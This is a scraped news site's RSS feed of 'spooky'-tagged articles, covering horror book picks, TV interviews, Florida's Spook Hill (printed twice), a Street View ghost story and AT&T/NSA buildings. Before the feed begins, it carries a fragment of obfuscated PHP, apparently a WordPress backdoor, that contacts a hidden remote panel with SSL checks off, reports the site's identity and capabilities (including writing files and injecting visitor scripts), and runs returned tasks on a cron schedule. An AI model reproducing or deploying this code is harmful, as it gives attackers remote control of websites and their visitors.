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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Spooky – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 31 Aug 2022 17:28:40 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Spooky – Brief News https://briefnews.eu 32 32 The 29 best horror books to stock up on for a spooky, creepy fall https://briefnews.eu/the-29-best-horror-books-to-stock-up-on-for-a-spooky-creepy-fall/ https://briefnews.eu/the-29-best-horror-books-to-stock-up-on-for-a-spooky-creepy-fall/#respond Wed, 31 Aug 2022 17:28:40 +0000 https://briefnews.eu/the-29-best-horror-books-to-stock-up-on-for-a-spooky-creepy-fall/ Insider Horror Books Roundup 4x3
These are some of the best horror books to read in 2022, from Stephen King classics to thrilling new releases.

Amazon; Alyssa Powell/Insider

  • Great horror novels can be scary, thrilling, or grotesque. 
  • These books include Stephen King classics and new releases. 
  • These horror picks make great gifts and late-night reads.

If you crave the skin-crawling, adrenaline-spiking, can't-look-away feeling of scary movies and haunted houses, then horror books might be the perfect fit for you. 

From paranormal short stories to horror classics like Stephen King's "It," horror novels give us the creepy-crawling feeling that stays long after we've closed the book and turned off the light. Whether you're searching for your first gory horror read or a new page-turning thriller, here are the best horror books to read in 2022.

The 29 best horror books to read in 2022:

"Mexican Gothic" by Silvia Moreno-Garcia

Mexican Gothic by Silvia Moreno-Garcia

Amazon

Available at Amazon and Bookshop, from $ 13.58

This Goodreads Choice Awards-winner is a gothic, historical horror about Noemí Taboada, who heads to the Mexican countryside after receiving a strange and alarming letter from her newly wed cousin. When she arrives at her new home, High Place, she faces a dark family past, buried secrets, and a house that may try to trap her, just as it seems to have done to others.

"It" by Stephen King

"It" by Stephen King book cover.

Amazon

Available at Amazon and Bookshop, from $ 15.97

This well-known horror book is about seven adults returning to their hometown to face an evil they first discovered as teenagers: An unnamed, shape-shifting terror they call "It." If you read other Stephen King novels, the town of Derry, Maine appears again and again but it all began with "It." "It" is also a monster of a book — its many, many pages build to a must-read, terrifying masterpiece.

 

"When the Reckoning Comes" by LaTanya McQueen

"When the Reckoning Comes" by LaTanya McQueen book cover.

Amazon

Available at Amazon and Bookshop, from $ 15.81

When Mira fled her segregated southern hometown more than a decade ago, she left behind her best friend, a plantation rumored to be haunted, and the horrible memories from her youth. Returning only for her best friend's wedding on the eerie plantation, dark elements from the town's past and Mira's own history begin to unravel as the weekend begins.   

"Daisy Darker" by Alice Feeney

"Daisy Darker" by Alice Feeney book cover.

Amazon

Available at Amazon and Bookshop, from $ 23.99

For those who loved Agatha Christie's "And Then There Were None," "Daisy Darker" is a horror story about Daisy Darker's estranged family, who have gathered on a remote island for Nana's 80th birthday. When the tide traps them in and Nana is found dead, followed by another family member an hour later, they must untangle their secrets and find the killer if they want any chance to survive.

"A Dowry of Blood" by S.T. Gibson

"A Dowry of Blood" by S.T. Gibson book cover.

Amazon

Available at Amazon and Bookshop, from $ 24.30

"A Dowry of Blood" is a new, fantastical horror novel that reimagine's the story of Dracula's bride, Constanta, who was turned from a mortal peasant to the wife of an undying king. As Constanta begins to understand the true evil power of her husband, she unravels his dark secrets and must choose between love and her freedom in this queer, dramatic paranormal horror story. 

"White Smoke" by Tiffany D. Jackson

"White Smoke" by Tiffany D. Jackson book cover.

Amazon

Available at Amazon and Bookshop, from $ 12.51

Mari thinks she's out-running the ghosts of her old life when her newly blended family relocates to a picture-perfect home in the Midwest, even if it's situated amongst far more dilapidated and secret-holding neighbors. In this haunted house horror story, strange things begin to happen in Mari's new home, but when her younger stepsister warns her of a friend who wants Mari gone, the danger becomes too real. 

"Night of the Living Rez" by Morgan Talty

"Night of the Living Rez" by Morgan Talty book cover

Amazon

Available at Amazon and Bookshop, from $ 15.26

This collection of 12 short horror stories is set in a Native community in Maine as individuals, families, and the community grapple with traumatic pasts and an uncertain future. Believable, unique, and achingly raw, these interconnected stories have moments of humor and emotion throughout those of horror and thrills.

"Hell House" by Richard Matheson

"Hell House" by Richard Matheson book cover.

Amazon

Available at Amazon and Bookshop, from $ 16.73

Stephen King called this book "the scariest haunted house novel ever written," so you know it's terrifying. Rolf Rudolph Deutsch is about to die, so he offers to pay a physicist and two mediums $ 100,000 each to find out what happens after death. The three of them travel to the Belasco house — more commonly referred to as the "Hell House" — for one night to learn how it earned its nickname. 

"Stillhouse Lake" by Rachel Caine

"Stillhouse Lake" by Rachel Caine book cover.

Amazon

Available at Amazon and Bookshop, from $ 7.99

Gina was completely normal — an average housewife with a husband and two kids. When a car accident revealed her husband's secret life as a serial killer, she moved with her children to a home on a lake, far away from her husband's secrets and the stalkers who think she was part of it all. But when a body appears in the lake and threatening letters start to arrive, Gina — now a prime suspect — must protect herself and her kids from a killer who's tormenting her family. 

"What Moves the Dead" by T. Kingfisher

"What Moves the Dead" by T. Kingfisher book cover.

Amazon

Available at Amazon and Bookshop, from $ 17.99

"What Moves the Dead" is a jaw-dropping horror retelling of Edgar Allan Poe's short story "The Fall of the House of Usher." Alex Easton has rushed to the remote countryside after receiving word that their childhood friend, Madeline, is dying. Ill prepared for the nightmare that awaited them, Alex finds Madeline and her brother in an affected state and must unravel the secrets of the old home to save them all.

"Tender Is the Flesh" by Agustina Bazterrica

"Tender Is the Flesh" by Agustina Bazterrica book cover.

Amazon

Available at Amazon and Bookshop, from $ 13.79

Most accurately described as "skin-crawling," this book centers on Marcos, who keeps his eyes on his work and away from the pain in his life. He works at the local processing plant, slaughtering humans — though, no one calls them that anymore. Since the government initiated "the Transition" after a sweeping virus made animal meat poisonous to humans, eating human meat — "special meat" — is legal, and having personal contact with the specimens is punishable by death. 

"The Sun Down Motel" by Simone St. James

"The Sun Down Motel" by Simone St. James book cover.

Amazon

Available at Amazon and Bookshop, from $ 10.79

If you want to feel the rush of knowing something terrible is coming, this paranormal horror story is for you. In 1982, Carly's Aunt Viv took a job at the Sun Down Motel, trying to save enough money to move to New York City. Now, Carly's working the front desk to discover what mysteries could have led to her aunt's disappearance. The entire book is suspenseful and mysterious but the horror scenes are next-level. I had to rush to finish this one before it got dark. 

"Other Terrors: An Inclusive Anthology" by Vince A. Liaguno & Rena Mason

"Other Terrors: An Inclusive Anthology" by Vince A. Liaguno & Rena Mason book cover.

Amazon

Available at Amazon and Bookshop, from $ 15.80

"Other Terrors" is a horror anthology written by underrepresented horror writers on what it means to be viewed as the scary "other" in society. Whether it's people from "other" ethnicities or of "other" sexualities, these horror short stories monopolize the primal fear of the unknown.

"The Chestnut Man" by Soren Sveistrup

"The Chestnut Man" by Soren Sveistrup book cover.

Amazon

Available at Amazon and Bookshop, from $ 15.80

The Chestnut Man is a serial killer who leaves a handmade doll made of matchsticks and chestnuts at every crime scene. When a forensic team discovers a bloody fingerprint belonging to a government official's daughter who had been kidnapped and murdered a year ago, the detectives must follow the murderer's twisted clues before someone else ends up dead. This book is dark and unnerving, and you will likely find yourself unwilling to turn the next page, fearing what lies ahead. 

"NOS4A2" by Joe Hill

"NOS4A2" by Joe Hill book cover.

Amazon

Available at Amazon and Bookshop, from $ 15.71

Victoria, a young girl with a talent for finding things, stumbles upon a bridge that can take her anywhere. She runs into Charlie Manx, who lures kids into a car that transports them to a horrifying playground called Christmasland. Victoria is the only child to ever escape Christmasland. Years later, Charlie hasn't forgotten about her — and is ready to take his revenge.

"Bird Box" by Josh Malerman

"Bird Box" by Josh Malerman book cover.

Amazon

Available at Amazon and Bookshop, from $ 9.46

In a world created by Josh Malerman, there's something out there that, once seen, drives a person to deadly violence. Malorie is one of only a handful of survivors left after the mysterious thing took over the world. She needs to flee with her children, relying on their wit and hearing to stay alive. This is a horror story that will have you closing your curtains and hiding in your house until you get to the end. 

"Red Dragon" by Thomas Harris

"Red Dragon" by Thomas Harris book cover.

Amazon

Available at Amazon and Bookshop, from $ 8.99

You may be more familiar with the second book in the Hannibal Lecter series "The Silence of the Lambs," but if you're looking to read the whole story, you should start here. When a serial killer attacks families, the FBI turns to William Graham, one of the greatest profilers, who retired after the horrors he witnessed in capturing Hannibal Lecter. To solve this case, William finds he must turn to Lector for help. The violent point of view of the antagonist brings on the horror in full force — while demonstrating that the "good guy" isn't always the hero. 

"Lock Every Door" by Riley Sager

"Lock Every Door" by Riley Sager book cover.

Amazon

Available at Amazon and Bookshop, from $ 12.22

Riley Sager has written four suspenseful novels, each one balanced between thriller, mystery, and horror, but this one leans the most towards "horror" of the bunch. Jules' new job as an apartment sitter in one of Manhattan's most private and mysterious buildings comes with three rules: No visitors, no nights away from the apartment, and no disturbing the other residents. But the building is not what it seems to be — a dark history is rising within, summoning a race to find the truth before someone else goes missing. 

"Devolution" by Max Brooks

"Devolution" by Max Brooks book cover.

Amazon

Available at Amazon and Bookshop, from $ 13.69

As the dust from Mount Rainier's eruption settles, Kate Holland's harrowing journals are found, revealing an account of the unnoticed Greenloop massacre and the legendary beasts behind it. From the author of "World War Z," this ominous horror story is action-packed, mind-bending, and utterly chaotic.

"The Exorcist" by William Peter Blatty

"The Exorcist" by William Peter Blatty book cover.

Amazon

Available at Amazon and Bookshop, from $ 15.29

Adapted into one of the scariest films of all time, "The Exorcist" is about a mother and two priests who fight to free the soul of a young girl controlled by an evil and violent spirit. The deeper details of this novel are what make already scary scenes even scarier. Even if you've already seen the movie, the story has even more frightening information that heightens the fear.

"The Shining" by Stephen King

"The Shining" by Stephen King book cover.

Amazon

Available at Amazon and Bookshop, from $ 9.29

Jack Torrance is looking for a fresh start with his new job at the Overlook Hotel, where he can reconnect with his family and work on his writing in his free time. As winter sets in, Jack's days at the hotel get stranger and stranger, and the only one who notices is Danny, Jack's unique five-year-old son. Full of fleshed-out characters, this slower-paced book doesn't drag — it only builds up the fear to an unforgettable conclusion.

"Dracula" by Bram Stoker

"Dracula" by Bram Stoker book cover.

Amazon

Available at Amazon and Bookshop, from $ 3.71

We all know the famous "Dracula" persona — the one we mimic every Halloween with plastic fangs and upturned coat collars. But it doesn't really capture the 1897 classic gothic horror story, which depicts Dracula's move to England as he attempts to find new blood, spreading his undead curse along the way. The story is far more horrifying and twisted than you might anticipate, and will definitely change how you view the more heroic portrayals of modern-day vampires. 

"The Southern Book Club's Guide to Slaying Vampires" by Grady Hendrix

"The Southern Book Club's Guide to Slaying Vampires" by Grady Hendrix book cover.

Goodreads

Available at Amazon and Bookshop, from $ 13.73

Set in 1990s Charleston, this novel is centered around a book club and the strange happenings around a newcomer who was brought into the club after one of the members was horribly attacked on her way home. This book has all of the southern charm, '90s nostalgia, and savagery that you might expect from the title alone. 

"The Other" by Thomas Tryon

"The Other" by Thomas Tryon book cover.

Amazon

Available at Amazon and Bookshop, from $ 15.95

Holland and Niles are twins, close enough to nearly read each other's thoughts but entirely different in personality. Their family is gathered for the summer to mourn their father's passing. With the boys' mother still locked in her room, Holland's pranks are growing more and more sinister and Niles isn't sure how much longer he can make excuses for his brother. 

"Imaginary Friend" by Stephen Chbosky

"Imaginary Friend" by Stephen Chbosky book cover.

Amazon

Available at Amazon and Bookshop, from $ 15.80

Best read with the lights on, "Imaginary Friend" is a haunting story where a young boy named Christopher goes missing in the town to which he and his mother just fled. Six days later, Christopher emerges from the woods with a voice in his head telling him to do one thing: Build a treehouse in the woods by Christmas, or his mother and everyone in the town will never be the same. 

"The Hollow Places" by T. Kingfisher

"The Hollow Places" by T. Kingfisher book cover.

Amazon

Available at Amazon and Bookshop, from $ 15.80

"The Hollow Places" is initially misleading. It starts off cute and funny, but quickly devolves into a terrifying novel with scenes so vibrantly written, they'll be sure to haunt readers long after they close the book. Kara finds a hole in the wall of her uncle's house that leads to a series of alternate realities, riddled with unsettling creatures that feed on fear. The world-building in this book is remarkable — Kingfisher creates something we couldn't previously fathom and yet something we so easily fear.

"The Only Good Indians" by Stephen Graham Jones

"The Only Good Indians" by Stephen Graham Jones book cover.

Amazon

Available at Amazon and Bookshop, from $ 13.49

This follows four Indigenous men who are being tracked and haunted by an entity that lingers from a crime committed a decade prior. It's a horror story of revenge and identity as the men find they can't outrun the culture they left behind. This eerie story will continually shock you, yet ends so perfectly, you'll almost forgive the brutal scenes you endured to reach the end. 

"Rosemary's Baby" by Ira Levin

"Rosemary's Baby" by Ira Levin book cover.

Amazon

Available at Amazon, $ 24.37

In this classic horror story, Rosemary and Guy are a young couple settling into their New York apartment where it seems the neighbors are taking too keen of an interest in them, especially once Rosemary gets pregnant. The suspense in this novel is palpable, a waking nightmare that walks a thin line between unbelievable and yet completely real. This book is unnerving and sinister, one of the original horror novels that helped popularize the genre. 

"The Burning Girls" by C. J. Tudor

"The Burning Girls" by C. J. Tudor book cover depicting a house on fire.

Amazon

Available at Amazon and Bookshop, from $ 15.81

Reverend Jack Brooks arrives at Chapel Croft looking for a fresh start, yet is welcomed with an exorcism kit and a warning. Horrible things have happened at the church — protestant martyrs were burned centuries back, two teenage girls disappeared 30 years ago, and just a week prior, the vicar hung himself. This is a deeply woven and haunting ghost story, with strange and deadly mysteries throughout. 

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]]> https://briefnews.eu/the-29-best-horror-books-to-stock-up-on-for-a-spooky-creepy-fall/feed/ 0 Outlander season 6: ‘Spooky’ Claire Fraser moment at Craigh Na Dun exposed by showrunner https://briefnews.eu/outlander-season-6-spooky-claire-fraser-moment-at-craigh-na-dun-exposed-by-showrunner/ https://briefnews.eu/outlander-season-6-spooky-claire-fraser-moment-at-craigh-na-dun-exposed-by-showrunner/#respond Sun, 30 Aug 2020 02:30:01 +0000 https://briefnews.eu/outlander-season-6-spooky-claire-fraser-moment-at-craigh-na-dun-exposed-by-showrunner/

She continued of the characters: “I just love this book, because, I think, there is so much for everyone in it.

“Jamie and Claire, their love deepens; Roger and Brianna, they have their own journey, and something fun and new happens with them.

“Caitlin O’Ryan, who plays Lizzie, has a great story, and she is such a phenomenal actress.

“There are just so many exciting things,” Maril concluded.

Outlander seasons 1-5 are available to stream on Amazon Prime Video now.

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]]> https://briefnews.eu/outlander-season-6-spooky-claire-fraser-moment-at-craigh-na-dun-exposed-by-showrunner/feed/ 0 Sabrina’s Gavin Leatherwood Breaks Down Nick’s Spooky, Shirtless Journey in Part 3: ‘I Cavorted With Sex Demons’ https://briefnews.eu/sabrinas-gavin-leatherwood-breaks-down-nicks-spooky-shirtless-journey-in-part-3-i-cavorted-with-sex-demons/ https://briefnews.eu/sabrinas-gavin-leatherwood-breaks-down-nicks-spooky-shirtless-journey-in-part-3-i-cavorted-with-sex-demons/#respond Fri, 24 Jan 2020 15:27:20 +0000 http://briefnews.eu/sabrinas-gavin-leatherwood-breaks-down-nicks-spooky-shirtless-journey-in-part-3-i-cavorted-with-sex-demons/ “I had no idea what was in store for me this season,” Gavin Leatherwood tells TVLine of Nick’s story in Chilling Adventures of Sabrina Part 3. And neither will you.

The Netflix drama’s eight-episode third part, now available to stream in full, picks up with poor Nicholas Scratch still in Lilith’s custody. But as you’ll see, there aren’t any orange jumpsuits in hell. Lilith apparently prefers her prisoners to remain shirtless, which quickly becomes a running theme for Leatherwood in Part 3.

Sabrina Part 3“In the script, it would say ‘Nick comes in shirtless’ all the time, and everybody started making jokes that the script should actually say ‘Nick comes in wearing a shirt’ when he does, because it’s assumed that every other time will be shirtless,” he says. “As each script came out, it was a fun surprise to see what was coming. I’ve learned how to roll with the punches. And the real tough part about always being shirtless is that I have to eat right and work out all the time, because I never know if I’m going to have a shirt or not.”

It probably isn’t too big of a spoiler to reveal that Nick eventually makes his way out of hell, but even when he rejoins the land of the living, he can’t seem to shake the effects of his time in the underworld. His inability to cope with the (literally) hellish experience manifests itself in some pretty sketchy behavior, including — wait for it — partying with sex demons. Again, literally.

“Maybe I’ve done it in a past life, because it felt oddly familiar, but I’m fairly certain this was the first time in this life that I cavorted with sex demons,” Leatherwood says, adding that those particular scenes required a certain level of comfort with his fellow actors.

“When you’re comfortable with each other, you feel more free to explore certain things,” he explains. “I met [the actors playing the sex demons] once before we started shooting, and they were such lovely, warm, open people. There was always open communication, like, ‘Is it OK if I pull your hair here? … Is it OK if I lick your ear?’ You communicate those things so it makes it more technical technical. That way, you’re not in the moment being like, ‘Hey, get your finger out of my mouth!’”

Have you already started binging Part 3? If so, how far have you gotten — and what are your thoughts? Drop ’em all in a comment below.

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]]> https://briefnews.eu/sabrinas-gavin-leatherwood-breaks-down-nicks-spooky-shirtless-journey-in-part-3-i-cavorted-with-sex-demons/feed/ 0 This Spooky Florida Drive Will Mess With Your Mind https://briefnews.eu/this-spooky-florida-drive-will-mess-with-your-mind-2/ https://briefnews.eu/this-spooky-florida-drive-will-mess-with-your-mind-2/#respond Wed, 21 Nov 2018 12:50:47 +0000 http://briefnews.eu/this-spooky-florida-drive-will-mess-with-your-mind-2/ About 60 miles east of Tampa in the small town of Lake Wales, there’s a place called Spook Hill that is steeped in legend — it’s an unsettling experience with a tale to match. The gist: It looks and feels like you’re driving uphill when you’re in fact rolling slowly downhill. And if you believe the local lore, it’s all because of an ancient tussle between a man and a big bully of an alligator.

As the lore goes, a legendary Calusa Indian chief, Cufcowellax, who had settled on the nearby Lake Wailes, engaged in a deadly battle with a bull alligator that was harassing the town. Many years later, when pioneer settlers passed through the area — and, later, citrus workers, too — people started reporting that their horses and mules labored as if they were going uphill on what was, in fact, a downhill slope.

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On any given day you will find cars pulling to a stop in the middle of the road.

The tale was passed down over time, as curious folks came to test the effect for themselves. Today, a roadside sign marks the attraction, located a few blocks north of the lake, and on any given day you will find cars pulling to a stop in the middle of the road. “Is it the gator seeking revenge or the chief protecting his land?” a line on the sign inquires. As the legend goes, after the territorial alligator dragged another victim into the depths of Lake Wailes, Cufcowellax engaged in an epic fight with the beast, in which they both died, and is said to have turned the entire lake blood-red. And while not everyone knows about this local legend, nearly all residents in Lake Wales have heard of Spook Hill.

When city worker Alison (who declined to give her last name) did Spook Hill with her younger kids, they loved it and it seemed to work. She recalls, “But when I got older and tried it again, it didn’t seem to work anymore.” She describes the experience as feeling like you’re going uphill, when in reality you’re rolling a little bit downhill. “That’s the spectral aspect of it, I guess,” she adds.

In fact, the effect can be explained by an optical illusion that can make it appear like you’re rolling uphill when the opposite is true. But that’s hardly kept the lore of Spook Hill from leaving its mark on the town. In fact, Spook Hill Elementary School, right near the hill, proudly claims Casper (yes, the friendly ghost) as its school mascot.

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The experience is enough of a phenomenon to bring people from everywhere to this remote part of Florida to try it for themselves. Tampa-area resident Lili Papia, 29, remembers the experience “being scary” when she tried out Spook Hill as a kid with her mom and a neighbor. “People even arrive here in buses some days,” says Allison. Sometimes people have experienced the effect, she says, while other times they report nothing out of the ordinary.

And that unknown factor of how you’ll react to Spook Hill might be the very thing that makes this batshit-crazy Florida attraction worth checking out with your own two eyes. “Some people are going to be like ‘It’s out of this world,’ and other people will be like ‘meh,’” says Allison. And if you’re hoping for the former? Well, “it probably will be,” she says.

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]]> https://briefnews.eu/this-spooky-florida-drive-will-mess-with-your-mind-2/feed/ 0 This Spooky Florida Drive Will Mess With Your Mind https://briefnews.eu/this-spooky-florida-drive-will-mess-with-your-mind/ https://briefnews.eu/this-spooky-florida-drive-will-mess-with-your-mind/#respond Wed, 21 Nov 2018 09:05:41 +0000 http://briefnews.eu/this-spooky-florida-drive-will-mess-with-your-mind/ About 60 miles east of Tampa in the small town of Lake Wales, there’s a place called Spook Hill that is steeped in legend — it’s an unsettling experience with a tale to match. The gist: It looks and feels like you’re driving uphill when you’re in fact rolling slowly downhill. And if you believe the local lore, it’s all because of an ancient tussle between a man and a big bully of an alligator.

As the lore goes, a legendary Calusa Indian chief, Cufcowellax, who had settled on the nearby Lake Wailes, engaged in a deadly battle with a bull alligator that was harassing the town. Many years later, when pioneer settlers passed through the area — and, later, citrus workers, too — people started reporting that their horses and mules labored as if they were going uphill on what was, in fact, a downhill slope.

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On any given day you will find cars pulling to a stop in the middle of the road.

The tale was passed down over time, as curious folks came to test the effect for themselves. Today, a roadside sign marks the attraction, located a few blocks north of the lake, and on any given day you will find cars pulling to a stop in the middle of the road. “Is it the gator seeking revenge or the chief protecting his land?” a line on the sign inquires. As the legend goes, after the territorial alligator dragged another victim into the depths of Lake Wailes, Cufcowellax engaged in an epic fight with the beast, in which they both died, and is said to have turned the entire lake blood-red. And while not everyone knows about this local legend, nearly all residents in Lake Wales have heard of Spook Hill.

When city worker Alison (who declined to give her last name) did Spook Hill with her younger kids, they loved it and it seemed to work. She recalls, “But when I got older and tried it again, it didn’t seem to work anymore.” She describes the experience as feeling like you’re going uphill, when in reality you’re rolling a little bit downhill. “That’s the spectral aspect of it, I guess,” she adds.

In fact, the effect can be explained by an optical illusion that can make it appear like you’re rolling uphill when the opposite is true. But that’s hardly kept the lore of Spook Hill from leaving its mark on the town. In fact, Spook Hill Elementary School, right near the hill, proudly claims Casper (yes, the friendly ghost) as its school mascot.

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The experience is enough of a phenomenon to bring people from everywhere to this remote part of Florida to try it for themselves. Tampa-area resident Lili Papia, 29, remembers the experience “being scary” when she tried out Spook Hill as a kid with her mom and a neighbor. “People even arrive here in buses some days,” says Allison. Sometimes people have experienced the effect, she says, while other times they report nothing out of the ordinary.

And that unknown factor of how you’ll react to Spook Hill might be the very thing that makes this batshit-crazy Florida attraction worth checking out with your own two eyes. “Some people are going to be like ‘It’s out of this world,’ and other people will be like ‘meh,’” says Allison. And if you’re hoping for the former? Well, “it probably will be,” she says.

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]]> https://briefnews.eu/this-spooky-florida-drive-will-mess-with-your-mind/feed/ 0 Deliciously spooky Pet Sematary trailer will give you the chills https://briefnews.eu/deliciously-spooky-pet-sematary-trailer-will-give-you-the-chills/ https://briefnews.eu/deliciously-spooky-pet-sematary-trailer-will-give-you-the-chills/#respond Thu, 11 Oct 2018 04:42:27 +0000 http://briefnews.eu/deliciously-spooky-pet-sematary-trailer-will-give-you-the-chills/

Horror novelist Stephen King is having a cultural moment with various film and TV projects. The latest is Pet Sematary, coming next year from Paramount Pictures. This is the second film adaptation of the bestselling 1983 novel by Stephen King, and judging from the trailer, it could well prove to be the definitive one.

The story is well-known by now. A doctor named Louis Creed (Jason Clarke) moves his family from the big city (Chicago in the book, Boston in the 2019 film) to a charming small town in Maine. The new house is right by a busy highway on one side and bumps up against a forest in back. So many local pets meet their demise on the highway that the children have set up a “Pet Sematary” in the forest to bury their beloved animals.

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]]> https://briefnews.eu/deliciously-spooky-pet-sematary-trailer-will-give-you-the-chills/feed/ 0 Google Maps Street View: Very creepy figures spotted lurking in spooky cemetery https://briefnews.eu/google-maps-street-view-very-creepy-figures-spotted-lurking-in-spooky-cemetery/ https://briefnews.eu/google-maps-street-view-very-creepy-figures-spotted-lurking-in-spooky-cemetery/#respond Wed, 29 Aug 2018 21:28:11 +0000 http://briefnews.eu/google-maps-street-view-very-creepy-figures-spotted-lurking-in-spooky-cemetery/

Google Maps Street View has captured a very spooky image set in a graveyard in the US.

The shot is, at first glance, of a picturesque green, wooded area with late afternoon sunlight streaming through the trees.

It was taken at Martha Chapel Cemetery in Texas, USA, which in itself sets a foreboding tone to the image.

Moreover, when you look closer, at the tree directly in front of the camera, the photograph develops a sinister feel.

The face of a little girl can be seen peering out behind the tree trunk. But the girl appears to be oddly grey-faced making her seem all the more ghostly.

If that wasn’t enough to chill the viewer, a second figure lurks behind the little girl.

To the left of the ashen-faced girl and behind a row of trees, gravestones can be seen.

Among them, on close inspection, a hooded figure stands entirely dressed in black.

The figure stands behind a gravestone but the bad quality of the image prevents the user from seeing which direction they are facing. Could it be straight at the little girl?

A video of the image on Google has been viewed over 10,000 times with viewers offering their thoughts on what the eerie figures could mean.

One person commented: “The first looks like definitive proof of something.”

Another added: “Perhaps of a murder or simply could have died in an accident. Either way, its poor soul is out roaming this Earth.”

A third viewer said: “Creepy – gives me the chills!”

This is far from the first time creepy figures have been spotted on Google Maps Street View.

Google Maps has photographed a very normal-looking house on a corner of the street – but what can be seen through one of the top windows is like something out of a nightmare.

In the top left window, a highly sinister figure can be seen lurking, looking out across the street. 

Its head can be seen in the top left pane, with two eyes staring intensely at the viewer.

Nothing else can be seen of the figure’s body as the bottom panes appear to be obscured.

The hairless, pale figure is made even more chilling due to its overly long fingers which are help up against the glass.

A person can be seen walking across the street towards the house leaving the viewer almost wishing they could warn them about the sinister figure inside.

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]]> https://briefnews.eu/google-maps-street-view-very-creepy-figures-spotted-lurking-in-spooky-cemetery/feed/ 0 Star Wars News: Darth Vader’s House Will Get Spooky This Halloween https://briefnews.eu/star-wars-news-darth-vaders-house-will-get-spooky-this-halloween/ https://briefnews.eu/star-wars-news-darth-vaders-house-will-get-spooky-this-halloween/#respond Mon, 30 Jul 2018 22:23:57 +0000 http://briefnews.eu/star-wars-news-darth-vaders-house-will-get-spooky-this-halloween/ A new horror comic series called ‘Star Wars: Tales from Vader’s Castle’ will hit shelves this October.


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]]> https://briefnews.eu/star-wars-news-darth-vaders-house-will-get-spooky-this-halloween/feed/ 0 Meet the 8 spooky AT&T buildings that almost certainly also serve the NSA https://briefnews.eu/meet-the-8-spooky-att-buildings-that-almost-certainly-also-serve-the-nsa/ https://briefnews.eu/meet-the-8-spooky-att-buildings-that-almost-certainly-also-serve-the-nsa/#respond Mon, 25 Jun 2018 12:20:28 +0000 http://briefnews.eu/meet-the-8-spooky-att-buildings-that-almost-certainly-also-serve-the-nsa/

Enlarge / The microwave tower on the roof of 420 South Grand Ave. was decommissioned in the 1990s and stands in contrast to the more modern buildings in downtown Los Angeles. (credit: Henrik Moltke)

In a new article published Monday, The Intercept has now revealed what it describes as secret AT&T facilities across several American cities that are “central to an NSA spying initiative.”

The piece builds on earlier reporting that the website did in November 2016 which focused on one such site in New York City.

The eight locations, which are in Atlanta, Chicago, Dallas, Los Angeles, New York City, San Francisco, Seattle, and Washington, DC, are “peering” facilities that normally route other telecom companies’ data traffic onto their network as part of their regular Internet service.

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]]> https://briefnews.eu/meet-the-8-spooky-att-buildings-that-almost-certainly-also-serve-the-nsa/feed/ 0 ‘Perceptions Of The Dead 2’ Tells Sometimes Cute, Sometimes Spooky Ghost Stories https://briefnews.eu/perceptions-of-the-dead-2-tells-sometimes-cute-sometimes-spooky-ghost-stories/ https://briefnews.eu/perceptions-of-the-dead-2-tells-sometimes-cute-sometimes-spooky-ghost-stories/#respond Sat, 23 Jun 2018 13:33:25 +0000 http://briefnews.eu/perceptions-of-the-dead-2-tells-sometimes-cute-sometimes-spooky-ghost-stories/ GVLbn4.jpg

After a live stream from a haunted hospital, Jill has found herself not just investigating hauntings, but dealing with the fact that ghosts are real. Some of them could even use her help, too, but when she tries to do something for a ghost who’s been following her, she starts to see some of the more unsettling sides of ghosts in visual novel Perceptions of the Dead 2.

Perceptions of the Dead 2 will have you working to find Jill’s missing friend, Tyrone, while also doing what they can to help out a spirit in need. Doing this will require a little help from Jill’s friends to get the job done, and you can get to know these charming, quirky people while you’re all working together. Just be careful of the decisions you make involving these people, as you can accidentally change the course of the story in some dangerous ways with some seemingly innocuous choices.

